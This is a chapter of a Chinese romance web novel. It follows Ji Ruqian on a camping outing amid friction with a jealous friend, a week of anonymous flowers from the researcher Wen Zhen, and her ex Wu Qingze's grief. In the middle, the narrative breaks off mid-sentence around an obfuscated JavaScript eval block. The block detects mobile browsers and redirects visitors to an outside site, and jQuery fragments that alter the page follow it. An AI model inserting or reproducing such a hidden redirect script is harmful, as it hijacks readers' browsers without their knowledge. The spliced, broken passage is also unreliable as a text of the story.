37. 37.喜欢,并非爱

作品:《过季[1v3]

    王雨薇听到后撇下一道的肖薇,应了声:“我陪她去吧!”


    季如芊听到了,蹲下将鞋带重新扎紧,继续往沿着小径缓缓上行。


    北方山深处,白桦林挺立,高洁雅致,枝干修直,仰望天空,渺远到眩晕。也夹杂红松、紫椴,春日里的温带次生林光线充足、蓬勃鲜亮。


    游逛了十来分钟后,她捡到两条足手臂粗、几米长的枯枝,满意地打道回府。


    树梢拖在山道上沙沙作响,季如芊惬意地轻哼着,迎面走来也在这片区域散步了好一阵儿的王雨薇。


    她朝对方点点头,错过肩头。王雨薇似乎才看到季如芊的收获般,随着转身往回走,拍了拍她的肩膀:“这些应该足够了吧?我帮你一起拿过去?”


    季如芊没递,笑笑说不重。王雨薇便只跟着她,下坡路滑,两人走得缓慢。


    “你跟许凡很投缘。”王雨薇跟季如芊攀谈。


    “嗯。”季如芊应了声,并不展开话题。


    王雨薇只好吞吞吐吐地补充:“人跟人的缘分好奇妙……你认识小鱼么?”


    季如芊停下来,枯枝放在地上,松一松手腕,似乎被累到般。之后才茫然地扭头:“什么小鱼、大鱼?我认识鲨鱼。”


    王雨薇不意外她的反应,连自己都只在孩童时在许凡家偶遇过小鱼一面,后来许凡再不提及,季如芊必然没听过这人。


    “那是许凡幼时的玩伴,某些角度你俩居然有一种相似哎!”


    季如芊仿佛很好奇的样子:“是么?跟我长得很像?你有照片么?我看看!”


    “哪有呀,我就见过一次真人,照片许凡小学拿出来过几次,后来也收起来了。”


    季如芊点点头,她记得的,在很早以前自己便要许凡当过往不存在,别再跟外人提及。她说,“不想让记忆延续,权当重新活一次,做全新的人。”


    许凡信了,虽然平日里嘻嘻哈哈,在大事上许医生从小便缜密心细,如同她成年后在手术中的习惯。


    “哦,我还好奇长啥样呢?可惜了。不过我顶讨厌被说成像别人,你说都是中国人还能长成仨眼俩鼻子么,只要见得够多总能遇到长相相似的人。今天若是别的不熟的朋友乱讲我肯定会生气呢。”


    季如芊的吟吟笑意不达眼底,“我是不是太小气了,哎呀,当然我们算熟悉呢,我得好好管管自己这破脾气。”


    仲春前后,正值花月,景致渐入佳境。温度回暖,山间却不同,相较平野慢了半个拍子。重叠树荫处,阳光照不进来的地方,偶尔阵风吹过,凉飕飕地,仿佛冬天拖着长长的尾巴,回身甩了你一下。


    王雨薇便觉一瞬间被寒意震慑,她们正穿过一片浓密的阴影,季如芊的神色带着冰碴。


    她有点委屈,嘟囔着跟上:“我不说了还不行么!”


    王雨薇早就发现了:季如芊每次参加集体活动貌似温柔和善,其实不冷不热的,极少跟其他姐妹牵涉私事。


    她以前把这归因于季如芊谈的那场恋爱,男朋友家毕竟算君兰的名流,自己又是企业管理层,保持点高冷范说得过去。当然,王雨薇悄悄跟肖晴吐槽这叫做“装逼”,攀上有钱人便拿腔作势。


    落难的凤凰不如鸡,王雨薇今天跟季如芊搭话胆子比平日壮了些,哪知道她仍是往常那副调性。


    一旦观察得久了,王雨薇总说不上季如芊哪里奇怪,难道闻真喜欢她便是因为猎奇?!也对,科学家肯定都爱钻研,着迷捉摸不透的女人!


    其实王雨薇倒没觉得季如芊便是模糊印象里那个小姑娘,这太离谱。毕竟普通平民百姓的生活都安稳平实,没人能随便联想到隐姓埋名、远走高飞、落叶归根的一整套流程。


    她找季如芊,仅仅带着点年轻姑娘的莽撞——别看许凡跟你亲密,不过拿你当代餐;同样的,别以为闻真围着你转,没有谁是独一无二的。索性就说开,王雨薇想得很简单:季如芊仍赖在伍氏不走,便意味着她对前任余情未了,那让她跟闻真疏远,把资源留给其他单身姐妹也无可厚非。


    季如芊听完王雨薇匪夷所思的安排,心中一丝怅惘——别管她解不解释,留在伍氏等同于被甩后还藕断丝连。她不高兴便懒得敷衍,没好气地说:“闻真是人,又不是东西,我让他去哪,他就乖乖听话?”


    一抬头,不是东西的人正巧走过来。话从高处顺风吹,零零星星落在低处。闻真那边忙完,径直接过她拖着的枯枝,待会儿在空地上用蝴蝶锯加工成干柴。


    闻真在季如芊一侧,低低地问:“我好像听到了自己的名字。”


    “嗯,我说你不是东西。”


    王雨薇对季如芊的应对目瞪口呆。闻真倒被她的回答逗得哈哈大笑,他离得远,连是不是在说他都不确定,本就借机搭话而已。


    闻真趁势开玩笑:“我有什么好讨论的,你干活还记得我啊?”


    “对啊,我想着你整日孤家寡人,君兰这么多好姑娘,别浪费了资源。我这边有不少单身的姐妹,知书达理,还都是公务员、教师这类稳定工作,比如……”


    季如芊故意拖着长音,旁边的王雨薇急得快要跳脚,恨不得伸手去捂她的嘴。这个人也太蔫坏了,把刚刚俩人的对话基本复述个遍,还一脸无辜的表情。


    其实没什么,季如芊把握着分寸。但偏偏王雨薇的职业便是一名人民教师,与季如芊的胡诌对上了号,她几乎以为下一步自己的名字要被当面念出来。


    没深交的人无法互相信任,王雨薇恨死季如芊了,也恨自己怎么头昏招惹到她。脸上爬满潮红,幸亏有救兵赶到!


    许凡陪陈斯远钓了会鱼,虽然收获了两三条翘嘴、鲫鱼,除此之外的大片空白时间她可坐不住,还伤感自己刚成婚的玉面郎君怎么染上这养生爱好,那张白净的脸离黑成煤球不远了。


    肖晴也落了单,许凡和她两人相伴着往山坡上来,凑堆儿到季如芊这处。刚准备打招呼,已经有人拽着她的袖子尖锐地嚷出声。


    王雨薇见到许凡,如同迎来主持公道的正义使者,迫不及待地揭露季如芊的虚伪面目。人一着急便把理智全部丢掉,说出口的话也不过脑,她只想控诉季如芊有多刻薄、多促狭:“你别把她当小鱼了,一点也不像,小鱼怎么会这么爱捉弄人!”


    友情中的比较在所难免,许凡之前开导过王雨薇,季如芊不像她在君兰土生土长亲戚朋友一大把,所以才多陪伴了些,并非厚此薄彼。


    “你胡说什么?!”许凡告诫过王雨薇,不要提小鱼,没料到她大庭广众下大声喧嚷。


    王雨薇突然咬了咬嘴唇,她发现许凡脸色煞白,异常严肃。她开始后悔了,据说小鱼的父母都出事过世,那姑娘本人会不会也遭遇不测……难怪对许凡成了不能提及的忌讳。


    她最怕许凡不理人,仓惶弥补:“我错了,以后不提了……”


    这么多年,季如芊没遇到过旧识。回到君兰,与许凡结交,预见过这样的场景,亲历依然有点懵圈。


    每个人都很尴尬,除了闻真。他在缕关系,季如芊身上始终存在的那抹矛盾感漏出一处马脚。闻真暂时仍捕捉不住,但刚刚它闪现过——深林里的小松鼠灵巧地跳来跳去,身影迅疾,眨眼只看到树枝间蓬松的尾巴尖。


    短暂的插曲很快过去,后来大家围炉烧烤,欢声笑语集聚在篝火旁。


    师弟前一阵在开发区买了套大户型,这算件大事,大家边吃边热烈地讨论。


    闻真明知故问地起了话头:“蒋昕为什么买房?”


    “家里催结婚,没办法,先栽下梧桐树,才引得凤凰来。”师弟滑稽地自嘲。


    “再不谈恋爱老爷子要跟你断绝关系吧?”闻真意有所指,“你就是不会主动出击,多在身边好姑娘里努努力。”


    他琢磨出季如芊与王雨薇之间那点小摩擦,原来自己占着戏份,只能当一期见习月老,帮师弟撮合……众人聊得热络,没办法兼顾。另一旁季如芊速战速决,吃了几串便往溪边去,说要抓河蟹玩。


    师弟、老陈和两个女生在草地上打牌,许凡懒洋洋地赖在躺椅上休息,留意到闻真盛了杯煮好的玫瑰烤奶往溪边去。


    她喊住他:“你让季如芊静一会儿吧。”


    闻真又一次抓住那抹矛盾感的尾巴尖——季如芊孤零零地站溪边沉思,许凡默契地不去打扰。


    他在许凡旁边席地而坐,把烤奶递给许凡,便宜给她占了。


    “谢谢孝敬。”


    “别贫,吃人嘴软。”


    俩人一来一往,许凡掀动眼皮,打起精神:“哥们决定追了?我表示同意。”必须得有位新人铩一铩伍青泽的锐气,不然外界总谣传季如芊痴恋前任,留守伍氏。


    “难道不是么?”闻真故意套许凡的话。


    “是你个大头鬼啊!我警告你加快速度,季如芊是否余情未了我不清楚,伍青泽绝对贼心没死。哪天他杀个回马枪,别怪我没提醒你!”


    许凡始终记得婚礼彩排那晚,自己给伍青泽发季如芊的照片,他句句秒回。她推断伍青泽为了利益联姻,而与季如芊多年感情且同处一个公司,说不定便又擦枪走火……


    闻真皱了皱眉,许凡的说法真令人窝心。


    出乎意料,伍青泽并不如许凡的愿。自从那次在管理会上刁难过季如芊,又在地下车库当着她面丢掉彼此的定情戒指后,伍青泽便从季如芊的世界人间蒸发。


    郁听雨收起玩心、经营感情,称得上漂亮又有趣的可人,伍青泽跟她的日子似乎越过越有滋味。郁听雨在兴乾挂了个闲职,陆云霜让她慢慢接手点生意,却不必太辛苦,时常飞去君兰待着,或借着出差的名头,或纯粹光明正大地约会。


    有几次郁揽风在老宅与郁听雨狭路相逢,他忍不住出言讽刺:“妹妹以前最看不上女人撵着男人屁股后面跑,怎么自己如今也变得如此廉价?”


    “若是普通的臭鱼烂虾当然不值得费心,现在摆在眼前的是爸爸也不能忽视的对手……”郁听雨不为所动,故意搬出郁安平这座大山。男人女人有什么不同么?别看大哥冠冕堂皇、衣冠楚楚,每天来父亲这刷存在感的心态估计堪比他那些下属打卡的苦逼。


    郁听雨正春风得意,嘴毒地反击:“哥哥是不是单身太久,内分泌失调了?”


    水滴石穿,起初谁都不看好的姻缘竟然有修成正果的苗头。郁听雨去看伍青泽一开始酒店住得多,后来也渐渐留宿他家里。然后便理所当然地添置了许多新物件。


    郁听雨学设计,最欣赏后现代主义,臻园那套房子渐渐换了新风格。夸张的波普挂毯,限量版巨型潮玩摆件,吵吵闹闹地拥挤在原本空旷的客厅。


    某天伍青泽夜里应酬完昏着头回到家,黑暗模糊了空间的边界,重置回往日光景。开灯的瞬间,陌生的奇异玩意涌入眼眶,恍如隔世。


    他终于倚在玄关闷头嚎啕大哭,也许一开始自己便错了。从国外回来季如芊要独居,自己与她越来越疏远;冲动的捧花求婚事件后,赌气答应她分手;乃至最后的最后,那枚被丢在下水道的戒指为两人的恋爱盖棺定论。


    就像陷入流沙,挣扎无效,一步步被吞没。


    胃疼得如刀绞,再名贵的酒,过量了便成伤人毒药。他白日听到一则关于季如芊的新八卦,主角却不再是自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376474|178177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,晚宴上与合作商喝起来一杯又一杯停不下来。


    凭什么?伍青泽以为只要季如芊留在伍氏工作,不可能有男人来追求她,没人如此不自量力。之前别人都说她在等他回头复合,明知无稽之谈,伍青泽仍极其受用。


    可最近的大新闻居然是季如芊被新人高调追求,那场面比以前的伍青泽还豪华,仿佛故意制造话题。


    又一次的管理层会议,伍青泽只派了助理代表自己出席。他不想见季如芊,父亲这边委任她负责nx-3项目,在场则避不开交流。


    季如芊来总部参会,没碰见前任,依然得不了清静。大概她手上握着重点项目,中层们哪个不是比泥鳅还滑,免不了再与季如芊搞好关系,开开玩笑。大家也好奇什么神人在追她,茶歇时围着季如芊打探消息。


    一切仿佛回到正轨,春雨洗凡尘,她摆脱了那段旧情中尴尬、屈辱的角色,而送花人却不肯认领自己浩大的手笔。


    露营回来没几天,第一束鲜花便送到她厂区办公楼。公司里藏不住秘密,但收束花也不是什么了不起的事情。之所以能被热议,因为这花连着送了一周。


    在每日清晨办公室打卡前的上班高峰期,准时出现在一楼后勤收发处,耗费两位保安之力帮她送上电梯,进而承包整栋楼每层办公桌上的花瓶。


    邱秋由震惊到习以为常,季副总不肯透露一点风声。邱秋只能大胆发散,猜想是哪位财大气粗的土老板,将她最近的行程缕遍。


    季如芊被气笑,她身为伍氏高管与其他行业的高层偶有交集实属正常,问题是:“我就这么不招年轻人喜欢?!凭什么猜一堆差辈的大哥们!”


    金钱能抹平很多差距,唯独不能填补脸上的褶子,她的绯闻对象有颜值准入门槛!


    不赖邱秋瞎猜,除了季如芊自己,没人敢猜这位追求者是同行圈内人,对方的阵仗又搞得实在引人遐想。


    在收花的第三天,季如芊拔通闻真的电话:“事不过三,你别浪费人力物力了,追求女生不是这种追法。”


    闻真跟她打哑谜:“你在讲什么?我没有在追你。”


    “花不是你送的?”


    “第一天之后,你怎么不立刻问呢?”


    闻真在第一束上留了便签,季如芊熟识他的字迹,毕竟她最近跟他多有工作联络,桌上正搁着一份他标注过的资料。


    季如芊被问得哑口无言,对,她没想回应,又害怕拒绝。本指望闻真是心血来潮、突发奇想,她冷处理便万事大吉。


    闻真在所有计算以外,不能掌控。季如芊不讨厌他,却莫名觉得烦躁——她身处局中,与伍家这摊事马上行至深水区,无暇顾及其他。


    季如芊算了算闻真送那些花的价值,暗暗肉疼。她刚刚大出血一笔钱,雇了两个“私家侦探”跟踪张申。


    这就是她的生活:看似精英光鲜,每日开会、批示;实则在其间找寻自己都不确定的线索。


    她是一粒炉渣,烈火淬炼后,心未冷。带着燃烧的余温,也熔融着过去的杂质。


    季如芊认为自己没有资格爱人,那太过轻盈,无法匹配她坚硬且深沉的灵魂。


    当收到整一周花后,季如芊没办法再无动于衷——太浪费、太奢靡了,她心疼。而且这场闹剧早晚总得结束。


    她再次联系闻真,出奇的顺利,他答应得很痛快:“好,反正我的目的已经达到了。”


    私聊小群里,许凡正热火朝天地发动群众,猜测送花人到底是谁。闻真和季如芊不好意思吱声戳破真相。


    季如芊凝神静气,恍然分辨出闻真的目的。他用巨额的花费制造噱头,新绯闻将伍青泽与她的旧情斩断。


    但他并非嘴硬,他真的没在追她。


    闻真说过:“我不喜欢你身上那些灰色的部分。”


    公众眼中,她被与伍青泽联系在一起;暗地里,她则与郁揽风互有往来。


    闻真无疑很骄傲,他对她心动,却无法放下芥蒂全心全意地追她。“喜欢”而并非“爱”,克制、自控、衡量。


    对于nx-3的合作,异曲同工。闻真给季如芊留有余地,但表明了底线——伍氏参股可以,但像对待龙新药业那样买断,不可能!


    他并非待价而沽,伍国俊给季如芊的额度无上限,而闻真也很明确:多少钱都不卖。


    露营回来的工作日,很快两人便安排了见面商议,在闻真自己的独立办公室。


    上次年前来医科大拜访时,他和她聊天还是临时找了间空旷的会议室,岁末大降温,暖气不足有点寒凉。


    这回春日午后,闻真打开房门迎她进来,身后整面落地窗阳光明媚,一棵苦楝开得正盛。


    天气晴暖,在暮春里嗅到点夏天的前调,闻真的黑色衬衫袖口挽到手肘,露出精壮麦色的小臂。


    季如芊坐在沙发上,闻真走到咖啡机前忙活,边侧身跟她自夸:“要不要喝我亲手做的拿铁,朋友才给我寄了点瑰夏,我的拉花技术还是可以的。”


    他打开机器,萃取、打奶泡,咖啡机的振动衬托得办公室更加安静,仿佛能听到窗外楝花掉落的声音。


    闻真有条不紊地操作,无暇特意看她,只在间隙里偶尔抬头。


    他左手握着牛奶杯柄,右手一边固定蒸汽棒,一边用小手指微微触碰杯壁。感知温度差不多到了60度,大约半分钟,奶泡打好。


    然后左手轻轻控制手腕,缓慢匀速回杯,右手缓缓控制流速,刚好满杯时,一只天鹅在闻真掌心展翅。


    男人沉默认真、眉眼专注,季如芊望着闻真,温度爬升,前几天那场梦里的场景陡然袭击她。